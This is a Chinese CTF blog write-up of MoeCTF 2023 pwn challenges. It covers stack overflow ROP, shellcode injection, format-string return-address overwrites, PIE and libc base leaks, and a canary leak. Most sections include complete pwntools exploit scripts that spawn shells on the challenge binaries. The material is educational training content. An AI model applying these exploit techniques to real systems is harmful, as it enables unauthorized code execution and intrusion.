Moectf2023 PWN 刷题

moectf2023 pwn 刷题

Fd

img

猜也知道dup2类似于复制了到一个新的fd

一般就0,1,2,所以读取flag的fd就是3

然后去计算new_fd即可

img

int_overflow

img

不使用-,返回负数,那就是整数溢出

unsigned = target & 0xFFFFFFFF  # 4294852782

# 或者直接计算
unsigned = 2**32 + target       # 4294852782

img

32text

img

img

img

32程序是栈来传参数,但是我记得是要返回地址的,但这里加上不能成功,不懂。。。。

from pwn import *

context.arch = 'i386'
context.log_level = 'debug'
p = process('./pwn')

p.recvuntil(b'age?')

p.sendline(b'100')

p.recvuntil(b'overflow!')

back_addr = 0x080492A9
sh_adr = 0x0804C02C
# gdb.attach(p)
payload = flat([
    b'a'*(0x58+4),
    p32(back_addr),
    # p32(0),
    p32(sh_adr)
])

p.send(payload)

p.interactive()

64text

还是64位比较熟悉

分析一样的,但要多找一个pop rdi;ret,然后第一次发送的值大一点

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
p = process('./pwn')

p.recvuntil(b'age?')

p.sendline(b'400')

p.recvuntil(b'overflow!')

back_addr = 0x4012B7
pop_addr = 0x4011be
sh_adr = 0x404050

payload = flat([
    b'a'*(0x58),
    p64(pop_addr),
    p64(sh_adr),
    p64(back_addr)
])

p.send(payload)

p.interactive()

shellcode_level0

不能反编译,硬看汇编

img

gets后发现call rdx,根据经验就是执行我们输入的地址,那就是shellcode

并且看到执行的是rbp+var_78,直接输入就行

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'
p = process('./shellcode_level0')

p.send(asm(shellcraft.sh()))#.rjust(0x70,b'\x90')

p.interactive()

shellcode_level1

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char *v3; // rax
  __int64 v4; // rbx
  __int64 v5; // rbx
  __int64 v6; // rbx
  __int64 v7; // rbx
  __int64 v8; // rbx
  __int64 v9; // rbx
  _QWORD *v10; // rax
  __int64 v11; // rbx
  __int64 v12; // rbx
  __int64 v13; // rbx
  __int64 v14; // rbx
  __int64 v15; // rbx
  __int64 v16; // rbx
  _QWORD *v17; // rax
  __int64 v18; // rbx
  __int64 v19; // rbx
  __int64 v20; // rbx
  __int64 v21; // rbx
  __int64 v22; // rbx
  __int64 v23; // rbx
  int choise; // [rsp+Ch] [rbp-114h] BYREF
  void (*p)(...); // [rsp+10h] [rbp-110h]
  char *paper3; // [rsp+18h] [rbp-108h]
  void *paper4; // [rsp+20h] [rbp-100h]
  void *paper5; // [rsp+28h] [rbp-F8h]
  char shellcode[100]; // [rsp+30h] [rbp-F0h] BYREF
  char paper2[100]; // [rsp+A0h] [rbp-80h] BYREF
  unsigned __int64 v32; // [rsp+108h] [rbp-18h]

  v32 = __readfsqword(0x28u);
  memset(shellcode, 0, sizeof(shellcode));
  memset(paper2, 0, sizeof(paper2));
  paper3 = (char *)malloc(0x64u);
  paper4 = mmap(0, 0x64u, 3, 34, -1, 0);
  paper5 = mmap(0, 0x64u, 7, 34, -1, 0);
  choise = 0;
  puts("Which paper will you choose?");
  __isoc99_scanf("%d", &choise);
  puts("what do you want to write?");
  __isoc99_scanf("%s", shellcode);
  switch ( choise )
  {
    case 1:
      *(_QWORD *)paper1 = *(_QWORD *)shellcode;
      *(_QWORD *)&paper1[8] = *(_QWORD *)&shellcode[8];
      *(_QWORD *)&paper1[16] = *(_QWORD *)&shellcode[16];
      *(_QWORD *)&paper1[24] = *(_QWORD *)&shellcode[24];
      *(_QWORD *)&paper1[32] = *(_QWORD *)&shellcode[32];
      *(_QWORD *)&paper1[40] = *(_QWORD *)&shellcode[40];
      *(_QWORD *)&paper1[48] = *(_QWORD *)&shellcode[48];
      *(_QWORD *)&paper1[56] = *(_QWORD *)&shellcode[56];
      *(_QWORD *)&paper1[64] = *(_QWORD *)&shellcode[64];
      *(_QWORD *)&paper1[72] = *(_QWORD *)&shellcode[72];
      *(_QWORD *)&paper1[80] = *(_QWORD *)&shellcode[80];
      *(_QWORD *)&paper1[88] = *(_QWORD *)&shellcode[88];
      *(_DWORD *)&paper1[96] = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper1;
      break;
    case 2:
      *(_QWORD *)paper2 = *(_QWORD *)shellcode;
      *(_QWORD *)&paper2[8] = *(_QWORD *)&shellcode[8];
      *(_QWORD *)&paper2[16] = *(_QWORD *)&shellcode[16];
      *(_QWORD *)&paper2[24] = *(_QWORD *)&shellcode[24];
      *(_QWORD *)&paper2[32] = *(_QWORD *)&shellcode[32];
      *(_QWORD *)&paper2[40] = *(_QWORD *)&shellcode[40];
      *(_QWORD *)&paper2[48] = *(_QWORD *)&shellcode[48];
      *(_QWORD *)&paper2[56] = *(_QWORD *)&shellcode[56];
      *(_QWORD *)&paper2[64] = *(_QWORD *)&shellcode[64];
      *(_QWORD *)&paper2[72] = *(_QWORD *)&shellcode[72];
      *(_QWORD *)&paper2[80] = *(_QWORD *)&shellcode[80];
      *(_QWORD *)&paper2[88] = *(_QWORD *)&shellcode[88];
      *(_DWORD *)&paper2[96] = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper2;
      break;
    case 3:
      v3 = paper3;
      v4 = *(_QWORD *)&shellcode[8];
      *(_QWORD *)paper3 = *(_QWORD *)shellcode;
      *((_QWORD *)v3 + 1) = v4;
      v5 = *(_QWORD *)&shellcode[24];
      *((_QWORD *)v3 + 2) = *(_QWORD *)&shellcode[16];
      *((_QWORD *)v3 + 3) = v5;
      v6 = *(_QWORD *)&shellcode[40];
      *((_QWORD *)v3 + 4) = *(_QWORD *)&shellcode[32];
      *((_QWORD *)v3 + 5) = v6;
      v7 = *(_QWORD *)&shellcode[56];
      *((_QWORD *)v3 + 6) = *(_QWORD *)&shellcode[48];
      *((_QWORD *)v3 + 7) = v7;
      v8 = *(_QWORD *)&shellcode[72];
      *((_QWORD *)v3 + 8) = *(_QWORD *)&shellcode[64];
      *((_QWORD *)v3 + 9) = v8;
      v9 = *(_QWORD *)&shellcode[88];
      *((_QWORD *)v3 + 10) = *(_QWORD *)&shellcode[80];
      *((_QWORD *)v3 + 11) = v9;
      *((_DWORD *)v3 + 24) = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper3;
      break;
    case 4:
      v10 = paper4;
      v11 = *(_QWORD *)&shellcode[8];
      *(_QWORD *)paper4 = *(_QWORD *)shellcode;
      v10[1] = v11;
      v12 = *(_QWORD *)&shellcode[24];
      v10[2] = *(_QWORD *)&shellcode[16];
      v10[3] = v12;
      v13 = *(_QWORD *)&shellcode[40];
      v10[4] = *(_QWORD *)&shellcode[32];
      v10[5] = v13;
      v14 = *(_QWORD *)&shellcode[56];
      v10[6] = *(_QWORD *)&shellcode[48];
      v10[7] = v14;
      v15 = *(_QWORD *)&shellcode[72];
      v10[8] = *(_QWORD *)&shellcode[64];
      v10[9] = v15;
      v16 = *(_QWORD *)&shellcode[88];
      v10[10] = *(_QWORD *)&shellcode[80];
      v10[11] = v16;
      *((_DWORD *)v10 + 24) = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper4;
      mprotect(paper4, 0x1000u, 7);
      break;
    case 5:
      v17 = paper5;
      v18 = *(_QWORD *)&shellcode[8];
      *(_QWORD *)paper5 = *(_QWORD *)shellcode;
      v17[1] = v18;
      v19 = *(_QWORD *)&shellcode[24];
      v17[2] = *(_QWORD *)&shellcode[16];
      v17[3] = v19;
      v20 = *(_QWORD *)&shellcode[40];
      v17[4] = *(_QWORD *)&shellcode[32];
      v17[5] = v20;
      v21 = *(_QWORD *)&shellcode[56];
      v17[6] = *(_QWORD *)&shellcode[48];
      v17[7] = v21;
      v22 = *(_QWORD *)&shellcode[72];
      v17[8] = *(_QWORD *)&shellcode[64];
      v17[9] = v22;
      v23 = *(_QWORD *)&shellcode[88];
      v17[10] = *(_QWORD *)&shellcode[80];
      v17[11] = v23;
      *((_DWORD *)v17 + 24) = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper5;
      mprotect(paper5, 0x1000u, 0);
      break;
  }
  p();
  return 0;
}

主要就是要判断哪个区域最终有执行权限

img

但是paper5存在mprotect(paper5, 0x1000u, 0);把权限置空了

paper4存在mprotect(paper4, 0x1000u, 7);给了全部权限

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'
p = process('./shellcode_level1')

p.recvuntil(b'choose?')
p.send(b'4')
p.send(asm(shellcraft.sh()))#.rjust(0x70,b'\x90')

p.interactive()

shellcode_level2

看不懂了,上ai吧

img

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'
p = process('./shellcode_level2')


p.send(b'\x00')
p.send(asm(shellcraft.sh()))

p.interactive()

shellcode_level3

img

5个字节的shellcode

img

有shell,那就想办法调用这个函数

使用jmp跳转,但是好像要偏移值,不知道咋算

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
p = process('./shellcode_level3')

p.recvuntil(b'sha wo?\n')

p.send(b"\xE9\x48\xD1\xFF\xFF")

p.interactive()

uninitialized_key

img

img

img

栈布局相同,两个函数连续调用,且编译器没有清空栈

当不输入key时,会引用age的值

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
p = process('./uninitialized_key')

# gdb.attach(p)
p.sendline(b'114514')
p.sendline(b'\x00')
p.interactive()

uninitialized_key_plus

改变了get_name的布局,且进行了清空栈

img

思路应该很容易想,就是填充到相同的布局,然后就与上面相同

填充(0x20-0xc),但是只剩四个字节,咋输入114514呢

可以使用p32(114514)。。。。。。。。

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
p = process('./uninitialized_key_plus')

payload = b'A' * 20  # 填充前20字节
payload += p32(114514) 
p.sendline(payload)
p.sendline(b'\x00')
p.interactive()

format_level0

img

32位,flag数组的值存在栈上,直接%p找到偏移泄露即可

img

format_level1

talk存在格式化字符串漏洞

attack发现dragon为0时拿shell

img

找偏移

发现aaaa%7$p时找到偏移为7

然后就改

img

from pwn import *

context.arch = 'i386'
context.log_level = 'debug'
p = process('./format_level1')

p.recvuntil(b'Your choice:')
p.sendline(b'3')
p.recvuntil(b'to talk:')
p.send(b'%8$n'+p32(0x0804C00C))
p.recvuntil(b'Your choice:')
p.sendline(b'1')

p.interactive()

format_level2

打败dragon后不调用success函数了

思路是通过格式化字符串漏洞把返回地址改为success函数地址

有两个返回地址一个是game的,一个是main的

img

可以这样理解,0xffxxxx就是栈地址,右边就是它的值,也就是%p输出的结果

所以,输入%p得到的是buf的地址,看到game返回地址距离buf的地址相差0x20

同理,main的返回地址相差0x40

然后是如何改

说是要后两个字节,0x8049317就取0x9317

可以一次性写入,但是遇到很大的数好像就会有问题,看到有的wp分开来写

p32(要修改的地址) + b'%'+str(0x9317-4).encode() +b'c%7$p'

p32长度是4也要算在内

或者

0x9317拆为0x93和0x17来写

正常偏移为7

%23c%10$hhn 正常这样写只有11,所以要补一个筹齐12对齐,12/4 = 3,所以往后推了3个偏移

b'%23c%10$hhnA' + p32(要修改的地址)

b'%147c%10$hhn' + p32(要修改的地址 + 1) #因为上面已经写入了一个字节
from pwn import *

parent_path = "/home/user/temp/"
context(os="linux", arch="amd64") 
sh = remote("localhost", 35684)

sh.sendline(b'3')
sleep(2)
sh.sendline(b'%p') #泄露栈地址
sleep(2)
sh.recvuntil(b'0x')
pointer = int(sh.recv()[:8],  16) + 0x20 # 返回地址与buf的偏移量为0x20
print(hex(pointer)) # pointer指向栈上的返回地址
# 7是offset,0x9317是要返回的地址的后2个字节
# 当返回地址与原地址只有最后2字节不同最好,相差2字节以上时运行时间过长

sh.sendline(b'3')
sleep(2)
# 0x9317-4是因为前面有4个字节的地址
pad = p32(pointer) + b'%' + str(0x9317 - 4).encode() +  b'c%7$hn'
sh.sendline(pad)
sh.interactive()
from pwn import*
context.log_level = 'debug'

io = process('./format_level2')

def choose(choice):
    io.recvuntil(b'Your choice: ')
    io.sendline(str(choice).encode())

#attach(io)
#pause()

#泄露栈地址
choose(3)
io.recvuntil(b'Input what you want to talk: ')
io.send(b'%p')

io.recvuntil(b'0x')
target = int(io.recv(8), 16) + 0x40
log.success('target ===> '+hex(target))

#修改返回地址
choose(3)
io.recvuntil(b'Input what you want to talk: ')
io.send(b'%23c%10$hhnA'+p32(target))

choose(3)
io.recvuntil(b'Input what you want to talk: ')
io.send(b'%147c%10$hhn'+p32(target+1))

#返回到后门
choose(4)

io.interactive()

format_level3

str由栈变到了bss段上

img

接下来尝试获取一个栈地址,然后偏移找到返回地址

讲不懂了,自己看wp吧

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
# context.arch = "amd64"
p = remote('IP',端口号)
# p = process('./format_level3')

p.sendlineafter(":",b"3")
p.sendlineafter(":",b"%6$p")
p.recvuntil("0x")
stack = int(p.recvline()[:-1], 16)
func_ret = stack + 4

p.sendlineafter(":",b"3")
payload = "%{}p%6$hhn".format(func_ret & 0xff)
p.sendlineafter(":",payload.encode())
p.sendlineafter(":",b"3")
payload = "%{}p%14$hn".format(0x9317)
p.sendlineafter(":",payload.encode())
p.sendlineafter(":",b"4")
p.interactive()

Pie

开了pie,给了vuln的地址,可以算出pie基址

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
p = process('./pwn')

elf = ELF('./pwn')

system_addr = 0x011D8
sh_addr = 0x4010

p.recvuntil(b'is:0x')
pie_base = int(p.recv(14),16) - elf.symbols['vuln']

real_sh = pie_base + sh_addr
real_system = pie_base + system_addr
pop_rdi = pie_base + 0x1323

payload = b'a'*0x58 + p64(pop_rdi)+ p64(real_sh)+p64(real_system)

p.send(payload)

p.interactive()

ret2libc

常规题,但遇上个sb问题

我想一次性写完,结果运行发现puts_addr咋是0xa,我就纳闷了咋会是这个呢

然后卡了一会,又打印一个值发现结果在后面

多加一个p.recvuntil(b’\x0a’)即可

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
p = process('./pwn')

elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = 0x40117e

payload = b'a'*0x58
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])

p.recvuntil(b'u??\n')
p.send(payload)
p.recvuntil(b'\x0a')
puts_addr = u64(p.recv(6).ljust(0x8,b'\x00'))

print(hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
sh_addr = libc_base + next(libc.search(b'/bin'))

payload2 = b'a'*0x58
payload2 += p64(pop_rdi)
payload2 += p64(sh_addr)
payload2 += p64(0x40101a)
payload2 += p64(system_addr)

p.recvuntil(b'u??\n')
p.send(payload2)

p.interactive()

Canary

img

第一个printf(%s)可以利用来泄露canary,因为canary最低位为\x00,遇到时就停止打印

我们可以覆盖掉\x00,从而泄露canary的高7位

然后canary = u64(b'\x00'+p.recv(7))

接下来就是正常libc了


Moectf2023 PWN 刷题
https://zer0peach.github.io/2025/08/11/Moectf2023-PWN-刷题/
作者
Zer0peach
发布于
2025年8月11日
许可协议